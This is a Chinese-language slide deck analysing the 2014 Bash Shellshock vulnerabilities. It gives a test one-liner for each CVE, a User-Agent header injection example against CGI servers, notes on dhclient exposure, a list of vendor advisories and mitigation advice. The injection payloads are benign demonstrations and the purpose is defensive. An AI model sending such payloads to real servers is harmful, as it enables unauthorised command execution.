bash 漏洞深入探討

21
BASH 漏洞深入探討 [email protected] [email protected]

Upload: tim-hsu

Post on 28-Nov-2014

216 views

Category:

Software


4 download

DESCRIPTION

bash shellshock analysis

TRANSCRIPT

Page 1: BASH 漏洞深入探討

BASH 漏洞深入探討 [email protected] [email protected]

Page 2: BASH 漏洞深入探討

BASH 威脅潛伏

Page 3: BASH 漏洞深入探討

CVE-2014-6271

! Stéphane Chazelas 在 9 月 12 日發現一個從1992 年就存在的漏洞!

! env x='() { :;}; echo vulnerable’ bash -c ”echo test" !

!   Bash 的函式格式: () {}; !   Example: fun() { echo test; } ;

Page 4: BASH 漏洞深入探討

env x='() { :;}; echo vulnerable' bash -c ”echo test"

Linux 指令: 用來顯示環境變數或是用來定義環境變數

函數外面的區域理論上不應該執行 執行 bash ,環境變數繼承的關係,因此觸發此漏洞

Page 5: BASH 漏洞深入探討

Bash 程式原始碼

Page 6: BASH 漏洞深入探討

程式開發的問題

!   程式久遠不可考 – 缺少 ChangeLog !   究竟是被埋入 backdoor 還是失誤的 bug ?

!   程式寫法太老且危險 – strcpy

!   依賴環境變數是 Unix 的宿命

!   還有多少 20 年的 backdoor bug ?

Page 7: BASH 漏洞深入探討

CVE-2014-6277

$ env X='() { x() { _; }; x() { _; } <<a; }' bash -c 'echo'

Segmentation fault (core dumped)

$ env X="() { x() { _; }; x() { _; } <<`perl -e '{print "A"x1000}'`; }" bash -c :

Segmentation fault (core dumped)

Page 8: BASH 漏洞深入探討

CVE-2014-6278

$ env X='() { _; } >_[$($())] { echo hi mom; id; }' bash -c 'echo test'

hi mom

uid=1000(timhsu) gid=1000(timhsu) groups=1000(timhsu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

test

Page 9: BASH 漏洞深入探討

CVE-2014-7169

! env X='() { (a)=>\' sh -c "echo date"; cat echo

$ >\

echo date

!   Example

sprintf(msg,"echo 'No such user: %s\n'", getenv("USER"));

system(msg);

Page 10: BASH 漏洞深入探討

CVE-2014-7186

$ bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"

Segmentation fault (core dumped)

CVE-2014-7186 vulnerable, redir_stack

Page 11: BASH 漏洞深入探討

CVE-2014-7187

!   only works when Bash is built with –fsanitize

(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash ||

echo "CVE-2014-7187 vulnerable, word_lineno”

Page 12: BASH 漏洞深入探討

如何利用環境變數遠端攻擊 CVE-2014-6271

Page 13: BASH 漏洞深入探討

HTTPD

MOD_REWRITE

將 HTTP Request 的User-Agent 轉成環境變數

環境變數 HTTP_USER_AGENT=() { :; }; echo Works � �

程式中使用了 system(),因 system() 會透過 /bin/sh –c 執行命令

User-Agent: () { :; }; echo Works

透過網路傳送 HTTP Request,其中包含 User-Agent 欄位及內容

C

/bin/sh

若是 /bin/sh 為符號連結成 /bin/bash,則執行 echo Works �

system() 會繼承環境變數 HTTP_USER_AGENT=() { :; }; echo Works � �

MOD_CGI

Page 14: BASH 漏洞深入探討

HTTPD

MOD_CGI

BASH SCRIPT

將 HTTP Request 的User-Agent 轉成環境變數 環境變數

HTTP_USER_AGENT=() { :; }; echo Works

SCRIPT 執行前先執行了 echo Works

User-Agent: () { :; }; echo Works

透過網路傳送 HTTP Request,其中包含 User-Agent 欄位及內容

MOD_REWRITE

Page 15: BASH 漏洞深入探討

CGI 測試結果

Bash v4.1.2

C PHP v5.3.3

PERL V5.10.1

PYTHON v2.6.6

RUBY v1.8.7

mod_cgi V V V O V O

mod_fastcgi V

mod_fcgid X X X X

mod_php X

mod_perl X

mod_python X

mod_ruby X

V: 可直接利用或透過 system()/popen() 利用 O: 在未最佳化執行的 system()/popen() 情況下可利用 X: 不可被利用

Page 16: BASH 漏洞深入探討

Default shell (/bin/sh)

OS /bin/sh

RHEL bash

CentOS bash

Fedora bash

MacOSX bash

Ubuntu dash

Android sh

FreeBSD tcsh

Page 17: BASH 漏洞深入探討

DHCPClient

Page 18: BASH 漏洞深入探討

DHCPClient 分析

!   從 Internet Systems Consortium DHCP Distribution Version 4.2.4 的原始碼來看,的確是 dhclient.c 會從 DHCP 封包中將參數值透過內建的 client_envadd() 轉換成環境變數,再經由 execve() 執⾏行了 dhclient-script (bash script),所以當然也就中獎了

!   下列兩道指令可⽤用來檢測系統上的 dhclient 是否會被此漏洞影響

$ /sbin/dhclient - 2>&1 | grep "ISC"

This version of ISC DHCP is based on the release available

$ which dhclient-script

/sbin/dhclient-script

Page 19: BASH 漏洞深入探討

廠商的設備更新通報

Vendor Advisory

Oracle http://www.oracle.com/technetwork/topics/security/bashcve-2014-7169-2317675.html

Symantec http://www.symantec.com/business/support/index?page=content&id=TECH225009&actp=search&viewlocale=en_US&searchid=1411825216275

TrendMicro http://esupport.trendmicro.com/solution/en-US/1105233.aspx

QNAP http://www.qnap.com/i/en/news/con_show.php?op=showone&cid=336

IBM http://www-01.ibm.com/support/docview.wss?uid=swg21685541

Page 20: BASH 漏洞深入探討

Vendor Advisory

BlueCoat https://kb.bluecoat.com/index?page=content&id=SA82&actp=RSS

CheckPoint https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk102673&src=securityAlerts

Cisco http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash

Citrix http://support.citrix.com/article/CTX200217

F5 http://support.f5.com/kb/en-us/solutions/public/15000/600/sol15629.html

Splunk http://www.splunk.com/view/SP-CAAANJN

Juniper http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10648

McAfee https://kc.mcafee.com/corporate/index?page=content&id=SB10085&actp=null&viewlocale=en_US&showDraft=false&platinum_status=false&locale=en_US

Page 21: BASH 漏洞深入探討

結論

!   趕快升級 bash

!   使用網路設備阻擋,例如 IPS、WAF

!   盡快評估停止使用 mod_cgi 或 mod_fastcgi

!   Linux 伺服器請務必作安全強化,例如啟用 SELinux、AppArmor 等

!   檢視企業所使用的網路設備是否在更新清單內